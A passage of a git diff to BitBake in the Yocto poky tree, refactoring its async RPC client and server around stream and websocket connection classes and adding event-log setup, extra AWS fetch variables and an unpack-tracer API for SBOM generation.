- try:
- line = await asyncio.wait_for(self.reader.readline(), self.timeout)
- except asyncio.TimeoutError:
- raise ConnectionError("Timed out waiting for server")
-
- if not line:
- raise ConnectionError("Connection closed")
-
- line = line.decode("utf-8")
-
- if not line.endswith("\n"):
- raise ConnectionError("Bad message %r" % (line))
-
- return line
+ def check_invoke_error(self, msg):
+ if isinstance(msg, dict) and "invoke-error" in msg:
+ raise InvokeError(msg["invoke-error"]["message"])
+ async def invoke(self, msg):
async def proc():
- for c in chunkify(json.dumps(msg), self.max_chunk):
- self.writer.write(c.encode("utf-8"))
- await self.writer.drain()
-
- l = await get_line()
+ await self.socket.send_message(msg)
+ return await self.socket.recv_message()
- m = json.loads(l)
- if m and "chunk-stream" in m:
- lines = []
- while True:
- l = (await get_line()).rstrip("\n")
- if not l:
- break
- lines.append(l)
+ result = await self._send_wrapper(proc)
+ self.check_invoke_error(result)
+ return result
- m = json.loads("".join(lines))
+ async def ping(self):
+ return await self.invoke({"ping": {}})
- return m
+ async def __aenter__(self):
+ return self
- return await self._send_wrapper(proc)
-
- async def ping(self):
- return await self.send_message(
- {'ping': {}}
- )
+ async def __aexit__(self, exc_type, exc_value, traceback):
+ await self.close()
class Client(object):
@@ -142,7 +134,7 @@ class Client(object):
# required (but harmless) with it.
asyncio.set_event_loop(self.loop)
- self._add_methods('connect_tcp', 'ping')
+ self._add_methods("connect_tcp", "ping")
@abc.abstractmethod
def _get_async_client(self):
@@ -171,8 +163,20 @@ class Client(object):
def max_chunk(self, value):
self.client.max_chunk = value
- def close(self):
+ def disconnect(self):
self.loop.run_until_complete(self.client.close())
- if sys.version_info >= (3, 6):
- self.loop.run_until_complete(self.loop.shutdown_asyncgens())
- self.loop.close()
+
+ def close(self):
+ if self.loop:
+ self.loop.run_until_complete(self.client.close())
+ if sys.version_info >= (3, 6):
+ self.loop.run_until_complete(self.loop.shutdown_asyncgens())
+ self.loop.close()
+ self.loop = None
+
+ def __enter__(self):
+ return self
+
+ def __exit__(self, exc_type, exc_value, traceback):
+ self.close()
+ return False
diff --git a/poky/bitbake/lib/bb/asyncrpc/connection.py b/poky/bitbake/lib/bb/asyncrpc/connection.py
new file mode 100644
index 0000000000..7f0cf6ba96
--- /dev/null
+++ b/poky/bitbake/lib/bb/asyncrpc/connection.py
@@ -0,0 +1,146 @@
+#
+# Copyright BitBake Contributors
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import asyncio
+import itertools
+import json
+from datetime import datetime
+from .exceptions import ClientError, ConnectionClosedError
+
+
+# The Python async server defaults to a 64K receive buffer, so we hardcode our
+# maximum chunk size. It would be better if the client and server reported to
+# each other what the maximum chunk sizes were, but that will slow down the
+# connection setup with a round trip delay so I'd rather not do that unless it
+# is necessary
+DEFAULT_MAX_CHUNK = 32 * 1024
+
+
+def chunkify(msg, max_chunk):
+ if len(msg) < max_chunk - 1:
+ yield "".join((msg, "\n"))
+ else:
+ yield "".join((json.dumps({"chunk-stream": None}), "\n"))
+
+ args = [iter(msg)] * (max_chunk - 1)
+ for m in map("".join, itertools.zip_longest(*args, fillvalue="")):
+ yield "".join(itertools.chain(m, "\n"))
+ yield "\n"
+
+
+def json_serialize(obj):
+ if isinstance(obj, datetime):
+ return obj.isoformat()
+ raise TypeError("Type %s not serializeable" % type(obj))
+
+
+class StreamConnection(object):
+ def __init__(self, reader, writer, timeout, max_chunk=DEFAULT_MAX_CHUNK):
+ self.reader = reader
+ self.writer = writer
+ self.timeout = timeout
+ self.max_chunk = max_chunk
+
+ @property
+ def address(self):
+ return self.writer.get_extra_info("peername")
+
+ async def send_message(self, msg):
+ for c in chunkify(json.dumps(msg, default=json_serialize), self.max_chunk):
+ self.writer.write(c.encode("utf-8"))
+ await self.writer.drain()
+
+ async def recv_message(self):
+ l = await self.recv()
+
+ m = json.loads(l)
+ if not m:
+ return m
+
+ if "chunk-stream" in m:
+ lines = []
+ while True:
+ l = await self.recv()
+ if not l:
+ break
+ lines.append(l)
+
+ m = json.loads("".join(lines))
+
+ return m
+
+ async def send(self, msg):
+ self.writer.write(("%s\n" % msg).encode("utf-8"))
+ await self.writer.drain()
+
+ async def recv(self):
+ if self.timeout < 0:
+ line = await self.reader.readline()
+ else:
+ try:
+ line = await asyncio.wait_for(self.reader.readline(), self.timeout)
+ except asyncio.TimeoutError:
+ raise ConnectionError("Timed out waiting for data")
+
+ if not line:
+ raise ConnectionClosedError("Connection closed")
+
+ line = line.decode("utf-8")
+
+ if not line.endswith("\n"):
+ raise ConnectionError("Bad message %r" % (line))
+
+ return line.rstrip()
+
+ async def close(self):
+ self.reader = None
+ if self.writer is not None:
+ self.writer.close()
+ self.writer = None
+
+
+class WebsocketConnection(object):
+ def __init__(self, socket, timeout):
+ self.socket = socket
+ self.timeout = timeout
+
+ @property
+ def address(self):
+ return ":".join(str(s) for s in self.socket.remote_address)
+
+ async def send_message(self, msg):
+ await self.send(json.dumps(msg, default=json_serialize))
+
+ async def recv_message(self):
+ m = await self.recv()
+ return json.loads(m)
+
+ async def send(self, msg):
+ import websockets.exceptions
+
+ try:
+ await self.socket.send(msg)
+ except websockets.exceptions.ConnectionClosed:
+ raise ConnectionClosedError("Connection closed")
+
+ async def recv(self):
+ import websockets.exceptions
+
+ try:
+ if self.timeout < 0:
+ return await self.socket.recv()
+
+ try:
+ return await asyncio.wait_for(self.socket.recv(), self.timeout)
+ except asyncio.TimeoutError:
+ raise ConnectionError("Timed out waiting for data")
+ except websockets.exceptions.ConnectionClosed:
+ raise ConnectionClosedError("Connection closed")
+
+ async def close(self):
+ if self.socket is not None:
+ await self.socket.close()
+ self.socket = None
diff --git a/poky/bitbake/lib/bb/asyncrpc/exceptions.py b/poky/bitbake/lib/bb/asyncrpc/exceptions.py
new file mode 100644
index 0000000000..ae1043a38b
--- /dev/null
+++ b/poky/bitbake/lib/bb/asyncrpc/exceptions.py
@@ -0,0 +1,21 @@
+#
+# Copyright BitBake Contributors
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+
+class ClientError(Exception):
+ pass
+
+
+class InvokeError(Exception):
+ pass
+
+
+class ServerError(Exception):
+ pass
+
+
+class ConnectionClosedError(Exception):
+ pass
diff --git a/poky/bitbake/lib/bb/asyncrpc/serv.py b/poky/bitbake/lib/bb/asyncrpc/serv.py
index d2de4891b8..f0be9a6cdb 100644
--- a/poky/bitbake/lib/bb/asyncrpc/serv.py
+++ b/poky/bitbake/lib/bb/asyncrpc/serv.py
@@ -12,241 +12,321 @@ import signal
import socket
import sys
import multiprocessing
-from . import chunkify, DEFAULT_MAX_CHUNK
+import logging
+from .connection import StreamConnection, WebsocketConnection
+from .exceptions import ClientError, ServerError, ConnectionClosedError, InvokeError
-class ClientError(Exception):
- pass
-
-
-class ServerError(Exception):
- pass
+class ClientLoggerAdapter(logging.LoggerAdapter):
+ def process(self, msg, kwargs):
+ return f"[Client {self.extra['address']}] {msg}", kwargs
class AsyncServerConnection(object):
- def __init__(self, reader, writer, proto_name, logger):
- self.reader = reader
- self.writer = writer
+ # If a handler returns this object (e.g. `return self.NO_RESPONSE`), no
+ # return message will be automatically be sent back to the client
+ NO_RESPONSE = object()
+
+ def __init__(self, socket, proto_name, logger):
+ self.socket = socket
self.proto_name = proto_name
- self.max_chunk = DEFAULT_MAX_CHUNK
self.handlers = {
- 'chunk-stream': self.handle_chunk,
- 'ping': self.handle_ping,
+ "ping": self.handle_ping,
}
- self.logger = logger
+ self.logger = ClientLoggerAdapter(
+ logger,
+ {
+ "address": socket.address,
+ },
+ )
+
+ async def close(self):
+ await self.socket.close()
async def process_requests(self):
try:
- self.addr = self.writer.get_extra_info('peername')
- self.logger.debug('Client %r connected' % (self.addr,))
+ self.logger.info("Client %r connected" % (self.socket.address,))
# Read protocol and version
- client_protocol = await self.reader.readline()
+ client_protocol = await self.socket.recv()
if not client_protocol:
return
- (client_proto_name, client_proto_version) = client_protocol.decode('utf-8').rstrip().split()
+ (client_proto_name, client_proto_version) = client_protocol.split()
if client_proto_name != self.proto_name:
- self.logger.debug('Rejecting invalid protocol %s' % (self.proto_name))
+ self.logger.debug("Rejecting invalid protocol %s" % (self.proto_name))
return
- self.proto_version = tuple(int(v) for v in client_proto_version.split('.'))
+ self.proto_version = tuple(int(v) for v in client_proto_version.split("."))
if not self.validate_proto_version():
- self.logger.debug('Rejecting invalid protocol version %s' % (client_proto_version))
+ self.logger.debug(
+ "Rejecting invalid protocol version %s" % (client_proto_version)
+ )
return
# Read headers. Currently, no headers are implemented, so look for
# an empty line to signal the end of the headers
while True:
- line = await self.reader.readline()
- if not line:
- return
-
- line = line.decode('utf-8').rstrip()
- if not line:
+ header = await self.socket.recv()
+ if not header:
break
# Handle messages
while True:
- d = await self.read_message()
+ d = await self.socket.recv_message()
if d is None:
break
- await self.dispatch_message(d)
- await self.writer.drain()
- except ClientError as e:
+ try:
+ response = await self.dispatch_message(d)
+ except InvokeError as e:
+ await self.socket.send_message(
+ {"invoke-error": {"message": str(e)}}
+ )
+ break
+
+ if response is not self.NO_RESPONSE:
+ await self.socket.send_message(response)
+
+ except ConnectionClosedError as e:
+ self.logger.info(str(e))
+ except (ClientError, ConnectionError) as e:
self.logger.error(str(e))
finally:
- self.writer.close()
+ await self.close()
async def dispatch_message(self, msg):
for k in self.handlers.keys():
if k in msg:
- self.logger.debug('Handling %s' % k)
- await self.handlers[k](msg[k])
- return
+ self.logger.debug("Handling %s" % k)
+ return await self.handlers[k](msg[k])
raise ClientError("Unrecognized command %r" % msg)
- def write_message(self, msg):
- for c in chunkify(json.dumps(msg), self.max_chunk):
- self.writer.write(c.encode('utf-8'))
+ async def handle_ping(self, request):
+ return {"alive": True}
- async def read_message(self):
- l = await self.reader.readline()
- if not l:
- return None
- try:
- message = l.decode('utf-8')
+class StreamServer(object):
+ def __init__(self, handler, logger):
+ self.handler = handler
+ self.logger = logger
+ self.closed = False
- if not message.endswith('\n'):
- return None
+ async def handle_stream_client(self, reader, writer):
+ # writer.transport.set_write_buffer_limits(0)
+ socket = StreamConnection(reader, writer, -1)
+ if self.closed:
+ await socket.close()
+ return
+
+ await self.handler(socket)
+
+ async def stop(self):
+ self.closed = True
+
+
+class TCPStreamServer(StreamServer):
+ def __init__(self, host, port, handler, logger):
+ super().__init__(handler, logger)
+ self.host = host
+ self.port = port
+
+ def start(self, loop):
+ self.server = loop.run_until_complete(
+ asyncio.start_server(self.handle_stream_client, self.host, self.port)
+ )
+
+ for s in self.server.sockets:
+ self.logger.debug("Listening on %r" % (s.getsockname(),))
+ # Newer python does this automatically. Do it manually here for
+ # maximum compatibility
+ s.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1)
+ s.setsockopt(socket.SOL_TCP, socket.TCP_QUICKACK, 1)
+
+ # Enable keep alives. This prevents broken client connections
+ # from persisting on the server for long periods of time.
+ s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
+ s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 30)
+ s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 15)
+ s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 4)
+
+ name = self.server.sockets[0].getsockname()
+ if self.server.sockets[0].family == socket.AF_INET6:
+ self.address = "[%s]:%d" % (name[0], name[1])
+ else:
+ self.address = "%s:%d" % (name[0], name[1])
+
+ return [self.server.wait_closed()]
+
+ async def stop(self):
+ await super().stop()
+ self.server.close()
+
+ def cleanup(self):
+ pass
- return json.loads(message)
- except (json.JSONDecodeError, UnicodeDecodeError) as e:
- self.logger.error('Bad message from client: %r' % message)
- raise e
- async def handle_chunk(self, request):
- lines = []
- try:
- while True:
- l = await self.reader.readline()
- l = l.rstrip(b"\n").decode("utf-8")
- if not l:
- break
- lines.append(l)
+class UnixStreamServer(StreamServer):
+ def __init__(self, path, handler, logger):
+ super().__init__(handler, logger)
+ self.path = path
- msg = json.loads(''.join(lines))
- except (json.JSONDecodeError, UnicodeDecodeError) as e:
- self.logger.error('Bad message from client: %r' % lines)
- raise e
+ def start(self, loop):
+ cwd = os.getcwd()
+ try:
+ # Work around path length limits in AF_UNIX
+ os.chdir(os.path.dirname(self.path))
+ self.server = loop.run_until_complete(
+ asyncio.start_unix_server(
+ self.handle_stream_client, os.path.basename(self.path)
+ )
+ )
+ finally:
+ os.chdir(cwd)
- if 'chunk-stream' in msg:
- raise ClientError("Nested chunks are not allowed")
+ self.logger.debug("Listening on %r" % self.path)
+ self.address = "unix://%s" % os.path.abspath(self.path)
+ return [self.server.wait_closed()]
- await self.dispatch_message(msg)
+ async def stop(self):
+ await super().stop()
+ self.server.close()
- async def handle_ping(self, request):
- response = {'alive': True}
- self.write_message(response)
+ def cleanup(self):
+ os.unlink(self.path)
-class AsyncServer(object):
- def __init__(self, logger):
- self._cleanup_socket = None
+class WebsocketsServer(object):
+ def __init__(self, host, port, handler, logger):
+ self.host = host
+ self.port = port
+ self.handler = handler
self.logger = logger
- self.start = None
- self.address = None
- self.loop = None
- def start_tcp_server(self, host, port):
- def start_tcp():
- self.server = self.loop.run_until_complete(
- asyncio.start_server(self.handle_client, host, port)
+ def start(self, loop):
+ import websockets.server
+
+ self.server = loop.run_until_complete(
+ websockets.server.serve(
+ self.client_handler,
+ self.host,
+ self.port,
+ ping_interval=None,
)
+ )
- for s in self.server.sockets:
- self.logger.debug('Listening on %r' % (s.getsockname(),))
- # Newer python does this automatically. Do it manually here for
- # maximum compatibility
- s.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1)
- s.setsockopt(socket.SOL_TCP, socket.TCP_QUICKACK, 1)
+ for s in self.server.sockets:
+ self.logger.debug("Listening on %r" % (s.getsockname(),))
- # Enable keep alives. This prevents broken client connections
- # from persisting on the server for long periods of time.
- s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
- s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 30)
- s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 15)
- s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 4)
+ # Enable keep alives. This prevents broken client connections
+ # from persisting on the server for long periods of time.
+ s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
+ s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 30)
+ s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 15)
+ s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 4)
- name = self.server.sockets[0].getsockname()
- if self.server.sockets[0].family == socket.AF_INET6:
- self.address = "[%s]:%d" % (name[0], name[1])
- else:
- self.address = "%s:%d" % (name[0], name[1])
+ name = self.server.sockets[0].getsockname()
+ if self.server.sockets[0].family == socket.AF_INET6:
+ self.address = "ws://[%s]:%d" % (name[0], name[1])
+ else:
+ self.address = "ws://%s:%d" % (name[0], name[1])
- self.start = start_tcp
+ return [self.server.wait_closed()]
- def start_unix_server(self, path):
- def cleanup():
- os.unlink(path)
+ async def stop(self):
+ self.server.close()
- def start_unix():
- cwd = os.getcwd()
- try:
- # Work around path length limits in AF_UNIX
- os.chdir(os.path.dirname(path))
- self.server = self.loop.run_until_complete(
- asyncio.start_unix_server(self.handle_client, os.path.basename(path))
- )
- finally:
- os.chdir(cwd)
+ def cleanup(self):
+ pass
- self.logger.debug('Listening on %r' % path)
+ async def client_handler(self, websocket):
+ socket = WebsocketConnection(websocket, -1)
+ await self.handler(socket)
- self._cleanup_socket = cleanup
- self.address = "unix://%s" % os.path.abspath(path)
- self.start = start_unix
+class AsyncServer(object):
+ def __init__(self, logger):
+ self.logger = logger
+ self.loop = None
+ self.run_tasks = []
- @abc.abstractmethod
- def accept_client(self, reader, writer):
- pass
+ def start_tcp_server(self, host, port):
+ self.server = TCPStreamServer(host, port, self._client_handler, self.logger)
- async def handle_client(self, reader, writer):
- # writer.transport.set_write_buffer_limits(0)
+ def start_unix_server(self, path):
+ self.server = UnixStreamServer(path, self._client_handler, self.logger)
+
+ def start_websocket_server(self, host, port):
+ self.server = WebsocketsServer(host, port, self._client_handler, self.logger)
+
+ async def _client_handler(self, socket):
+ address = socket.address
try:
- client = self.accept_client(reader, writer)
+ client = self.accept_client(socket)
await client.process_requests()
except Exception as e:
import traceback
- self.logger.error('Error from client: %s' % str(e), exc_info=True)
+
+ self.logger.error(
+ "Error from client %s: %s" % (address, str(e)), exc_info=True
+ )
traceback.print_exc()
- writer.close()
- self.logger.debug('Client disconnected')
+ finally:
+ self.logger.debug("Client %s disconnected", address)
+ await socket.close()
- def run_loop_forever(self):
- try:
- self.loop.run_forever()
- except KeyboardInterrupt:
- pass
+ @abc.abstractmethod
+ def accept_client(self, socket):
+ pass
+
+ async def stop(self):
+ self.logger.debug("Stopping server")
+ await self.server.stop()
+
+ def start(self):
+ tasks = self.server.start(self.loop)
+ self.address = self.server.address
+ return tasks
def signal_handler(self):
self.logger.debug("Got exit signal")
- self.loop.stop()
+ self.loop.create_task(self.stop())
- def _serve_forever(self):
+ def _serve_forever(self, tasks):
try:
self.loop.add_signal_handler(signal.SIGTERM, self.signal_handler)
+ self.loop.add_signal_handler(signal.SIGINT, self.signal_handler)
+ self.loop.add_signal_handler(signal.SIGQUIT, self.signal_handler)
signal.pthread_sigmask(signal.SIG_UNBLOCK, [signal.SIGTERM])
- self.run_loop_forever()
- self.server.close()
+ self.loop.run_until_complete(asyncio.gather(*tasks))
- self.loop.run_until_complete(self.server.wait_closed())
- self.logger.debug('Server shutting down')
+ self.logger.debug("Server shutting down")
finally:
- if self._cleanup_socket is not None:
- self._cleanup_socket()
+ self.server.cleanup()
def serve_forever(self):
"""
Serve requests in the current process
"""
+ self._create_loop()
+ tasks = self.start()
+ self._serve_forever(tasks)
+ self.loop.close()
+
+ def _create_loop(self):
# Create loop and override any loop that may have existed in
# a parent process. It is possible that the usecases of
# serve_forever might be constrained enough to allow using
# get_event_loop here, but better safe than sorry for now.
self.loop = asyncio.new_event_loop()
asyncio.set_event_loop(self.loop)
- self.start()
- self._serve_forever()
- def serve_as_process(self, *, prefunc=None, args=()):
+ def serve_as_process(self, *, prefunc=None, args=(), log_level=None):
"""
Serve requests in a child process
"""
+
def run(queue):
# Create loop and override any loop that may have existed
# in a parent process. Without doing this and instead
@@ -259,18 +339,22 @@ class AsyncServer(object):
# more general, though, as any potential use of asyncio in
# Cooker could create a loop that needs to replaced in this
# new process.
- self.loop = asyncio.new_event_loop()
- asyncio.set_event_loop(self.loop)
+ self._create_loop()
try:
- self.start()
+ self.address = None
+ tasks = self.start()
finally:
+ # Always put the server address to wake up the parent task
queue.put(self.address)
queue.close()
if prefunc is not None:
prefunc(self, *args)
- self._serve_forever()
+ if log_level is not None:
+ self.logger.setLevel(log_level)
+
+ self._serve_forever(tasks)
if sys.version_info >= (3, 6):
self.loop.run_until_complete(self.loop.shutdown_asyncgens())
diff --git a/poky/bitbake/lib/bb/cache.py b/poky/bitbake/lib/bb/cache.py
index 5ea41c5de0..18d5574a31 100644
--- a/poky/bitbake/lib/bb/cache.py
+++ b/poky/bitbake/lib/bb/cache.py
@@ -344,9 +344,7 @@ def virtualfn2realfn(virtualfn):
"""
mc = ""
if virtualfn.startswith('mc:') and virtualfn.count(':') >= 2:
- elems = virtualfn.split(':')
- mc = elems[1]
- virtualfn = ":".join(elems[2:])
+ (_, mc, virtualfn) = virtualfn.split(':', 2)
fn = virtualfn
cls = ""
@@ -369,7 +367,7 @@ def realfn2virtual(realfn, cls, mc):
def variant2virtual(realfn, variant):
"""
- Convert a real filename + the associated subclass keyword to a virtual filename
+ Convert a real filename + a variant to a virtual filename
"""
if variant == "":
return realfn
diff --git a/poky/bitbake/lib/bb/codeparser.py b/poky/bitbake/lib/bb/codeparser.py
index eabeda591a..cd39409434 100644
--- a/poky/bitbake/lib/bb/codeparser.py
+++ b/poky/bitbake/lib/bb/codeparser.py
@@ -62,6 +62,7 @@ def check_indent(codestr):
modulecode_deps = {}
def add_module_functions(fn, functions, namespace):
+ import os
fstat = os.stat(fn)
fixedhash = fn + ":" + str(fstat.st_size) + ":" + str(fstat.st_mtime)
for f in functions:
@@ -255,8 +256,8 @@ class PythonParser():
def visit_Call(self, node):
name = self.called_node_name(node.func)
if name and (name.endswith(self.getvars) or name.endswith(self.getvarflags) or name in self.containsfuncs or name in self.containsanyfuncs):
- if isinstance(node.args[0], ast.Str):
- varname = node.args[0].s
+ if isinstance(node.args[0], ast.Constant) and isinstance(node.args[0].value, str):
+ varname = node.args[0].value
if name in self.containsfuncs and isinstance(node.args[1], ast.Str):
if varname not in self.contains:
self.contains[varname] = set()
diff --git a/poky/bitbake/lib/bb/command.py b/poky/bitbake/lib/bb/command.py
index f2ee587161..79b6c0738f 100644
--- a/poky/bitbake/lib/bb/command.py
+++ b/poky/bitbake/lib/bb/command.py
@@ -550,8 +550,8 @@ class CommandsSync:
and return a datastore object representing the environment
for the recipe.
"""
- fn = params[0]
- mc = bb.runqueue.mc_from_tid(fn)
+ virtualfn = params[0]
+ (fn, cls, mc) = bb.cache.virtualfn2realfn(virtualfn)
appends = params[1]
appendlist = params[2]
if len(params) > 3:
@@ -574,10 +574,10 @@ class CommandsSync:
if config_data:
# We have to use a different function here if we're passing in a datastore
# NOTE: we took a copy above, so we don't do it here again
- envdata = command.cooker.databuilder._parse_recipe(config_data, fn, appendfiles, mc, layername)['']
+ envdata = command.cooker.databuilder._parse_recipe(config_data, fn, appendfiles, mc, layername)[cls]
else:
# Use the standard path
- envdata = command.cooker.databuilder.parseRecipe(fn, appendfiles, layername)
+ envdata = command.cooker.databuilder.parseRecipe(virtualfn, appendfiles, layername)
idx = command.remotedatastores.store(envdata)
return DataStoreConnectionHandle(idx)
parseRecipeFile.readonly = True
diff --git a/poky/bitbake/lib/bb/cooker.py b/poky/bitbake/lib/bb/cooker.py
index 599c7ddaa2..d658db9bd8 100644
--- a/poky/bitbake/lib/bb/cooker.py
+++ b/poky/bitbake/lib/bb/cooker.py
@@ -303,6 +303,10 @@ class BBCooker:
self.data_hash = self.databuilder.data_hash
self.extraconfigdata = {}
+ eventlog = self.data.getVar("BB_DEFAULT_EVENTLOG")
+ if not self.configuration.writeeventlog and eventlog:
+ self.setupEventLog(eventlog)
+
if consolelog:
self.data.setVar("BB_CONSOLELOG", consolelog)
@@ -345,7 +349,7 @@ class BBCooker:
sync=False,
upstream=upstream,
)
- self.hashserv.serve_as_process()
+ self.hashserv.serve_as_process(log_level=logging.WARNING)
for mc in self.databuilder.mcdata:
self.databuilder.mcorigdata[mc].setVar("BB_HASHSERVE", self.hashservaddr)
self.databuilder.mcdata[mc].setVar("BB_HASHSERVE", self.hashservaddr)
@@ -409,6 +413,18 @@ class BBCooker:
self._parsecache_set(False)
+ def setupEventLog(self, eventlog):
+ if self.eventlog and self.eventlog[0] != eventlog:
+ bb.event.unregister_UIHhandler(self.eventlog[1])
+ if not self.eventlog or self.eventlog[0] != eventlog:
+ # we log all events to a file if so directed
+ # register the log file writer as UI Handler
+ if not os.path.exists(os.path.dirname(eventlog)):
+ bb.utils.mkdirhier(os.path.dirname(eventlog))
+ writer = EventWriter(self, eventlog)
+ EventLogWriteHandler = namedtuple('EventLogWriteHandler', ['event'])
+ self.eventlog = (eventlog, bb.event.register_UIHhandler(EventLogWriteHandler(writer)))
+
def updateConfigOpts(self, options, environment, cmdline):
self.ui_cmdline = cmdline
clean = True
@@ -428,14 +444,7 @@ class BBCooker:
setattr(self.configuration, o, options[o])
if self.configuration.writeeventlog:
- if self.eventlog and self.eventlog[0] != self.configuration.writeeventlog:
- bb.event.unregister_UIHhandler(self.eventlog[1])
- if not self.eventlog or self.eventlog[0] != self.configuration.writeeventlog:
- # we log all events to a file if so directed
- # register the log file writer as UI Handler
- writer = EventWriter(self, self.configuration.writeeventlog)
- EventLogWriteHandler = namedtuple('EventLogWriteHandler', ['event'])
- self.eventlog = (self.configuration.writeeventlog, bb.event.register_UIHhandler(EventLogWriteHandler(writer)))
+ self.setupEventLog(self.configuration.writeeventlog)
bb.msg.loggerDefaultLogLevel = self.configuration.default_loglevel
bb.msg.loggerDefaultDomains = self.configuration.debug_domains
@@ -1548,7 +1557,13 @@ class BBCooker:
def getAllKeysWithFlags(self, flaglist):
+ def dummy_autorev(d):
+ return
+
dump = {}
+ # Horrible but for now we need to avoid any sideeffects of autorev being called
+ saved = bb.fetch2.get_autorev
+ bb.fetch2.get_autorev = dummy_autorev
for k in self.data.keys():
try:
expand = True
@@ -1568,6 +1583,7 @@ class BBCooker:
dump[k][d] = None
except Exception as e:
print(e)
+ bb.fetch2.get_autorev = saved
return dump
@@ -1787,7 +1803,7 @@ class CookerCollectFiles(object):
for ignored in ('SCCS', 'CVS', '.svn'):
if ignored in dirs:
dirs.remove(ignored)
- found += [os.path.join(dir, f) for f in files if (f.endswith(['.bb', '.bbappend']))]
+ found += [os.path.join(dir, f) for f in files if (f.endswith(('.bb', '.bbappend')))]
return found
diff --git a/poky/bitbake/lib/bb/cookerdata.py b/poky/bitbake/lib/bb/cookerdata.py
index 42b8d64685..0649e40995 100644
--- a/poky/bitbake/lib/bb/cookerdata.py
+++ b/poky/bitbake/lib/bb/cookerdata.py
@@ -503,8 +503,8 @@ class CookerDataBuilder(object):
if appends:
bb_data.setVar('__BBAPPEND', " ".join(appends))
- bb_data = bb.parse.handle(bbfile, bb_data)
- return bb_data
+
+ return bb.parse.handle(bbfile, bb_data)
def parseRecipeVariants(self, bbfile, appends, virtonly=False, mc=None, layername=None):
"""
@@ -516,8 +516,7 @@ class CookerDataBuilder(object):
(bbfile, virtual, mc) = bb.cache.virtualfn2realfn(bbfile)
bb_data = self.mcdata[mc].createCopy()
bb_data.setVar("__ONLYFINALISE", virtual or "default")
- datastores = self._parse_recipe(bb_data, bbfile, appends, mc, layername)
- return datastores
+ return self._parse_recipe(bb_data, bbfile, appends, mc, layername)
if mc is not None:
bb_data = self.mcdata[mc].createCopy()
@@ -543,5 +542,5 @@ class CookerDataBuilder(object):
"""
logger.debug("Parsing %s (full)" % virtualfn)
(fn, virtual, mc) = bb.cache.virtualfn2realfn(virtualfn)
- bb_data = self.parseRecipeVariants(virtualfn, appends, virtonly=True, layername=layername)
- return bb_data[virtual]
+ datastores = self.parseRecipeVariants(virtualfn, appends, virtonly=True, layername=layername)
+ return datastores[virtual]
diff --git a/poky/bitbake/lib/bb/fetch2/__init__.py b/poky/bitbake/lib/bb/fetch2/__init__.py
index ffb1a92b26..22a2f80107 100644
--- a/poky/bitbake/lib/bb/fetch2/__init__.py
+++ b/poky/bitbake/lib/bb/fetch2/__init__.py
@@ -872,6 +872,8 @@ FETCH_EXPORT_VARS = ['HOME', 'PATH',
'AWS_PROFILE',
'AWS_ACCESS_KEY_ID',
'AWS_SECRET_ACCESS_KEY',
+ 'AWS_ROLE_ARN',
+ 'AWS_WEB_IDENTITY_TOKEN_FILE',
'AWS_DEFAULT_REGION',
'GIT_CACHE_PATH',
'REMOTE_CONTAINERS_IPC',
@@ -1579,6 +1581,7 @@ class FetchMethod(object):
unpackdir = rootdir
if not unpack or not cmd:
+ urldata.unpack_tracer.unpack("file-copy", unpackdir)
# If file == dest, then avoid any copies, as we already put the file into dest!
dest = os.path.join(unpackdir, os.path.basename(file))
if file != dest and not (os.path.exists(dest) and os.path.samefile(file, dest)):
@@ -1593,6 +1596,8 @@ class FetchMethod(object):
destdir = urlpath.rsplit("/", 1)[0] + '/'
bb.utils.mkdirhier("%s/%s" % (unpackdir, destdir))
cmd = 'cp -fpPRH "%s" "%s"' % (file, destdir)
+ else:
+ urldata.unpack_tracer.unpack("archive-extract", unpackdir)
if not cmd:
return
@@ -1684,6 +1689,55 @@ class FetchMethod(object):
"""
return []
+
+class DummyUnpackTracer(object):
+ """
+ Abstract API definition for a class that traces unpacked source files back
+ to their respective upstream SRC_URI entries, for software composition
+ analysis, license compliance and detailed SBOM generation purposes.
+ User may load their own unpack tracer class (instead of the dummy
+ one) by setting the BB_UNPACK_TRACER_CLASS config parameter.
+ """
+ def start(self, unpackdir, urldata_dict, d):
+ """
+ Start tracing the core Fetch.unpack process, using an index to map
+ unpacked files to each SRC_URI entry.
+ This method is called by Fetch.unpack and it may receive nested calls by
+ gitsm and npmsw fetchers, that expand SRC_URI entries by adding implicit
+ URLs and by recursively calling Fetch.unpack from new (nested) Fetch
+ instances.
+ """
+ return
+ def start_url(self, url):
+ """Start tracing url unpack process.
+ This method is called by Fetch.unpack before the fetcher-specific unpack
+ method starts, and it may receive nested calls by gitsm and npmsw
+ fetchers.
+ """
+ return
+ def unpack(self, unpack_type, destdir):
+ """
+ Set unpack_type and destdir for current url.
+ This method is called by the fetcher-specific unpack method after url
+ tracing started.
+ """
+ return
+ def finish_url(self, url):
+ """Finish tracing url unpack process and update the file index.
+ This method is called by Fetch.unpack after the fetcher-specific unpack
+ method finished its job, and it may receive nested calls by gitsm
+ and npmsw fetchers.
+ """
+ return
+ def complete(self):
+ """
+ Finish tracing the Fetch.unpack process, and check if all nested
+ Fecth.unpack calls (if any) have been completed; if so, save collected
+ metadata.
+ """
+ return
+
+
class Fetch(object):
def __init__(self, urls, d, cache = True, localonly = False, connection_cache = None):
if localonly and cache:
@@ -1704,10 +1758,30 @@ class Fetch(object):
if key in urldata_cache:
self.ud = urldata_cache[key]
+ # the unpack_tracer object needs to be made available to possible nested
+ # Fetch instances (when those are created by gitsm and npmsw fetchers)
+ # so we set it as a global variable
+ global unpack_tracer
+ try:
+ unpack_tracer
+ except NameError:
+ class_path = d.getVar("BB_UNPACK_TRACER_CLASS")
+ if class_path:
+ # use user-defined unpack tracer class
+ import importlib
